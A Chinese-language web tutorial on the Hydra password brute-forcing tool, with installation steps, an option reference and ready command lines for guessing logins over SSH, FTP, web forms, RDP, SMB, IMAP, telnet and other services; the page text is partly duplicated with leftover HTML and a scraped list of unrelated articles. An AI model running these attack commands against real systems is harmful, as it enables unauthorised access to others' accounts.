Linux下的暴力密码在线破解工具Hydra详解

 

这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型***来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,使用本文内容去做破坏者,与本人无关


一、简介

hydra是著名***组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra

可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、安装

如果是Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装:
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

hydra下载地址:http://www.thc.org/releases/hydra-7.3.tar.gz

# tar zxvf hydra-7.0-src.tar.gz
# cd hydra-7.0-src
# ./configure
# make
# make install

hydra支持GUI图形界面,不过习惯还是命令好用。

三、参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

四、各种用法实例

简单演示:
九爷带你了解 暴力密码在线破解工具 Hydra_第1张图片
破解成功,直接显示结果,上图画红线的地方就是破解出来的密码,也可以通过参数-o输出到文件里。如果字典够强大,结合社工,密码不用很久就出来。

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"


hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。)</span></p> <p><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;">5、破解https:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>6、破解teamspeak:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>7、破解cisco:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -P pass.txt 10.36.16.18 cisco<br>hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>8、破解smb:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l administrator -P pass.txt 10.36.16.18 smb<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>9、破解pop3:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l muts -P pass.txt my.pop3.mail pop3<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>10、破解rdp:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra ip rdp -l administrator -P pass.txt -V<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>11、破解http-proxy:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l admin -P pass.txt http-proxy://10.36.16.18<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>12、破解imap:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -L user.txt -p secret 10.36.16.18 imap PLAIN<br>hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</span></p> <p><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br></span></p> <p><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"></span></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">一、简介</strong></span></p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"><span style="color:rgb(255,0,0);">Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.</span></p> <p style="margin:10px auto;padding:0px;"><span style="color:rgb(255,0,0);">Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.</span></p> <p style="margin:10px auto;padding:0px;">Currently this tool supports: <br style="margin:0px;padding:0px;">AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.</p> <p style="margin:10px auto;padding:0px;">For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.</p> <p style="margin:10px auto;padding:0px;">This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.</p> <p style="margin:10px auto;padding:0px;">The program is maintained by van Hauser and David Maciejak.</p> <p style="margin:10px auto;padding:0px;">The Hackers Choice <br style="margin:0px;padding:0px;">http://www.thc.org/thc-hydra</p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;"><br></strong></span></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">二、安装</strong></span></p> <p style="margin:10px auto;padding:0px;">1、安装相关依赖包</p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>Ubuntu/Debian</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra</pre> <p style="margin:10px auto;padding:0px;">  Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装。</p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>Redhat/Fedora</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>OpenSuSE</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel</pre> <p style="margin:10px auto;padding:0px;">本实验用的是 CentOS release 5.6 (Final),执行yum install 后相关依赖包安装情况如下:</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;">2、Hydra 安装</p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># wget http://www.thc.org/releases/hydra-7.4.1.tar.gz # tar zxvf hydra-7.4.1.tar.gz # cd hydra-7.4.1 # ./configure  # make && make install</pre> <p style="margin:10px auto;padding:0px;"># ./configure 会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包。</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"># make</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"># make install</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">三、Syntax</strong></span></p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]</pre> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-R</strong><br style="margin:0px;padding:0px;">继续从上一次进度接着破解</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-S</strong><br style="margin:0px;padding:0px;">大写,采用SSL链接</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-s <PORT></strong><br style="margin:0px;padding:0px;">小写,可通过这个参数指定非默认端口</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-l <LOGIN></strong><br style="margin:0px;padding:0px;">指定破解的用户,对特定用户破解</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-L <FILE></strong><br style="margin:0px;padding:0px;">指定用户名字典</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-p <PASS></strong><br style="margin:0px;padding:0px;">小写,指定密码破解,少用,一般是采用密码字典</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-P <FILE></strong><br style="margin:0px;padding:0px;">大写,指定密码字典</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-e <ns></strong><br style="margin:0px;padding:0px;">可选选项,n:空密码试探,s:使用指定用户和密码试探</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-C <FILE></strong><br style="margin:0px;padding:0px;">使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-M <FILE></strong><br style="margin:0px;padding:0px;">指定目标列表文件一行一条</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-o <FILE></strong><br style="margin:0px;padding:0px;">指定结果输出文件</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-f</strong><br style="margin:0px;padding:0px;">在使用-M参数以后,找到第一对登录名或者密码的时候中止破解</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-t <TASKS></strong><br style="margin:0px;padding:0px;">同时运行的线程数,默认为16</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-w <TIME></strong><br style="margin:0px;padding:0px;">设置最大超时的时间,单位秒,默认是30s</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-v / -V</strong><br style="margin:0px;padding:0px;">显示详细过程</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">server</strong><br style="margin:0px;padding:0px;">目标ip</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">service</strong><br style="margin:0px;padding:0px;">指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">OPT</strong><br style="margin:0px;padding:0px;">可选项</p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">四、实例</strong></span></p> <p style="margin:10px auto;padding:0px;">1、手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。 </p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;">2、破解ssh:</p> <p style="margin:10px auto;padding:0px;"># hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;">破解成功,直接显示结果。</p> <p style="margin:10px auto;padding:0px;">也可以使用 -o 选项指定结果输出文件。</p> <p style="margin:10px auto;padding:0px;"># hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">五、其他类型密码破解</strong></span></p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解ftp:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>get方式提交,破解web登录:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/   # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>post方式提交,破解web登录:</p></li> </ul> <p style="margin:10px auto;padding:0px;">  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:</p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"><form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form></pre> <p style="margin:10px auto;padding:0px;">  假设有以上一个密码登录表单,我们执行命令:</p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido

  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。</p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解https:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解teamspeak:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解cisco:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -P pass.txt 10.36.16.18 cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解smb:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l administrator -P pass.txt 10.36.16.18 smb</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解pop3:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l muts -P pass.txt my.pop3.mail pop3</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解rdp:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra ip rdp -l administrator -P pass.txt -V</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解http-proxy:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l admin -P pass.txt http-proxy://10.36.16.18</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解imap:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解telnet</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V</pre> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">六、总结</strong></span></p> <p style="margin:10px auto;padding:0px;">此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型***来说,有时能够得到事半功倍的效果。</p> <p>分类: Linux</p> <p><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br></span><br></p> <p><span style="font-family:Calibri;font-size:14px;"> </span></p> <p><br></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1211798285442977792"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(了解,九爷带你,暴力密码,Sass,Pass)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1947454458707374080.htm" title="遇见真好" target="_blank">遇见真好</a> <span class="text-muted">语滔天下</span> <div>亲爱的好朋友们!大家好!一茫茫人海中,你我相遇,是今生的缘分,也是前世足够的回眸。遇见真好!一个人的成长、成功都需要有外力的支持与帮助,个人的力量微不足道。只有众人拾柴,火焰才高,群策群力、同舟共济,才能走的更远。你帮我成功,我助你成名,我们双赢。你若袖手旁观,我若无动于衷,我们则双双失败。缘分让我们遇见,便是上天最好的安排。你将我拉起,给我一双翅膀,我会带你飞的更高!携起手来,让我们相互支持!二</div> </li> <li><a href="/article/1947447073024569344.htm" title="基于taro开发微信小程序(二)" target="_blank">基于taro开发微信小程序(二)</a> <span class="text-muted">哈哈哈哈蜜瓜</span> <a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">微信小程序</a><a class="tag" taget="_blank" href="/search/taro/1.htm">taro</a><a class="tag" taget="_blank" href="/search/%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">小程序</a> <div>参考文档目录结构|Taro文档目录项目运行起来之后,了解一下目录├──dist编译结果目录|├──config项目编译配置目录|├──index.js默认配置|├──dev.js开发环境配置|└──prod.js生产环境配置|├──src源码目录|├──pages页面文件目录||└──indexindex页面目录||├──index.jsindex页面逻辑||├──index.cssindex页面</div> </li> <li><a href="/article/1947445311735656448.htm" title="精彩纷呈宋王朝(第四部,第十二章,第五节)" target="_blank">精彩纷呈宋王朝(第四部,第十二章,第五节)</a> <span class="text-muted">司马吹风</span> <div>第十二章力挽狂澜孟将军第五节复襄阳公元1238年九月,蒙古八十万主力攻两淮,荆襄地区的兵力相对薄弱一些。新任京湖战区总司令置制使孟珙,请求乘机率军收复荆襄。十月,朝廷诏命孟珙收复襄阳,襄阳是南宋中部重镇,襄阳在敌人手里,南宋寝食难安呐。孟珙接受的任务是收复襄阳,对一般战将来说,可能就是按部就班地率军攻襄阳了。假如孟珙也如此僵硬,也就成不了名将了。他经过仔细分析认为,如欲收复襄阳、樊城(襄阳樊城区)</div> </li> <li><a href="/article/1947445180772708352.htm" title="科普一下高仿黑水鬼手表一般多少钱" target="_blank">科普一下高仿黑水鬼手表一般多少钱</a> <span class="text-muted">奢侈品总汇1</span> <div>大家好,我是广城腕表,一个专注腕表知识的爱好者,不定时更新腕表真假对比,拆解评测以及视频解说,学会用专业知识了解腕表的好与坏,让您在玩表之路不入坑。近些年,随着社会经济的发展和人们生活水平的提高,各类名牌奢侈品的需求也不断增长。而对于钟表爱好者来说,Rolex(劳力士)是一种无法抗拒的时尚潮流。尤其是黑水鬼系列,以其独特的外观设计和卓越的品质,成为了许多人的追求目标。但是正牌黑水鬼价格昂贵,对于一</div> </li> <li><a href="/article/1947438302621659136.htm" title="今日水素氢饮食:萝卜的营养价值与作用" target="_blank">今日水素氢饮食:萝卜的营养价值与作用</a> <span class="text-muted">青青子吟</span> <div>萝卜,是冬季餐桌上的常客,自来便有“十月萝卜赛人参”的说法,因此萝卜在中国也有“土人参”之称。萝卜味道甘甜,口感脆爽,汁水丰富,自古以来便有多种吃法,凉拌、腌渍、清炒、煮汤等等皆是生活中常见食用方法。今日水素氢饮食,带您了解萝卜的营养价值与作用。萝卜,是世界范围内古老的栽培作物之一,人类食用萝卜的历史已经超过4500年。《齐民要术》中有记载其栽培方法,《本草》中记载其有“消谷,去痰癖,肥健人”的作</div> </li> <li><a href="/article/1947436525486665728.htm" title="整理!!大同市十五大正规亲子鉴定机构中心合集汇总一共12家(附2024年9月鉴定名录预览)" target="_blank">整理!!大同市十五大正规亲子鉴定机构中心合集汇总一共12家(附2024年9月鉴定名录预览)</a> <span class="text-muted">国医基因</span> <div>大同市亲子鉴定中心在哪?大同市亲子鉴定中心地址在大同市新建南路医卫街1号(大同市国医基因)可以咨询了解。亲子鉴定作为一种科学手段,为众多家庭提供了关于亲属关系的准确答案。它不仅有助于解决家庭内部的疑问,更在司法、移民等领域发挥着重要作用。以下是2024年大同市市专业亲子鉴定中心的地址一览。大同市十五家亲子鉴定机构中心地址:1、大同市国医基因亲子鉴定咨询中心地址:大同市新建南路医卫街1号;服务范围:</div> </li> <li><a href="/article/1947434998734843904.htm" title="那个一直拒绝你的女孩,就放弃吧" target="_blank">那个一直拒绝你的女孩,就放弃吧</a> <span class="text-muted">柳树招风</span> <div>文/柳树招风01姣姣昨晚向我哭诉,说那个追了她4年多的男生,有了女朋友。自己突然有了种心痛的感觉。因为很熟悉的缘故,也不用遮着掩着,我直接当她的面怼她说:你活该。这个男生是当初我们一起做地产时的分行同事,因为一次合作卖房的缘故就认识了,认识没多久他就开始追求姣姣。这个男生很用心,为了多了解姣姣的情况,好几次请我们全组人吃饭,唱歌。姣姣喜欢什么,不喜欢什么,他都打听地一清二楚,节日的礼物每次也都花了</div> </li> <li><a href="/article/1947429293596405760.htm" title="粘的ScalersTalk第七轮新概念朗读持续力训练Day 75 211228" target="_blank">粘的ScalersTalk第七轮新概念朗读持续力训练Day 75 211228</a> <span class="text-muted">粘_NIAN</span> <div>练习材料:Lesson75SOSWhenalightpassengerplaneflewoffcoursesometimeago,itcrashedinthemountainsanditspilotwaskilled.Theonlypassengers,ayoungwomanandhertwobabydaughters,wereunhurt.Itwasthemiddleofwinter.Snowl</div> </li> <li><a href="/article/1947424962302242816.htm" title="你知道微博达人小P老师最近又在忙活什么吗?" target="_blank">你知道微博达人小P老师最近又在忙活什么吗?</a> <span class="text-muted">我不是小七_d3f0</span> <div>你知道微博达人小P老师最近又在忙活什么吗?我们先来看看小P老师是何方神圣:再看看他的微博数据:再看看他近期帅照:那他最近在忙活什么呢?Bingo!忙着断黑美白呢!此处亟需安利一波,断黑密码,一个神奇的东东官方来说,是一款Nutroxsun含量高达250mg的防晒丸,经国际专家20余年精心研制与10余年临床测试,证明它可以从根本上抑制黑色素的生成,强化自身阻黑能力,自带绝黑抗体,实现机能性阻黑抗老。</div> </li> <li><a href="/article/1947422415789289472.htm" title="抖音申诉失败还可能解封吗?抖音怎么申诉才能通过?" target="_blank">抖音申诉失败还可能解封吗?抖音怎么申诉才能通过?</a> <span class="text-muted">优惠券高省</span> <div>抖音怎么申诉才能成功?在使用抖音的过程中,有时候可能会遇到一些意外情况,导致账号被封禁或者限制。为了解决这样的问题,抖音提供了申诉功能,用户可以通过申诉来恢复被封禁的账号或解除限制。先给大家分享一个小编在做的网络项目,不用投资一分钱,只要淘宝、京东、拼多多等电商不倒,这个项目永久可做,而且收入稳定!抖音怎么申诉才能成功?申诉失败还可能解封吗?先给大家分享一个网购省钱又赚钱的方法,不用投资一分钱,只</div> </li> <li><a href="/article/1947420468977922048.htm" title="【Redis篇】数据库架构演进中Redis缓存的技术必然性—高并发场景下穿透、击穿、雪崩的体系化解决方案" target="_blank">【Redis篇】数据库架构演进中Redis缓存的技术必然性—高并发场景下穿透、击穿、雪崩的体系化解决方案</a> <span class="text-muted">奈斯DB</span> <a class="tag" taget="_blank" href="/search/Redis%E4%B8%93%E6%A0%8F/1.htm">Redis专栏</a><a class="tag" taget="_blank" href="/search/%E7%BC%93%E5%AD%98/1.htm">缓存</a><a class="tag" taget="_blank" 